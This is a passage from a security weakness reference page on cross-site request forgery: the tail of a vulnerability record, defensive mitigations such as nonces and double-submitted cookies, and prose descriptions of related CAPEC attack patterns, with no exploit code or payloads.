"url": "https://wpscan.com/vulnerability/7ec9e493-bc48-4a5d-8c7e-34beaba892ae"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.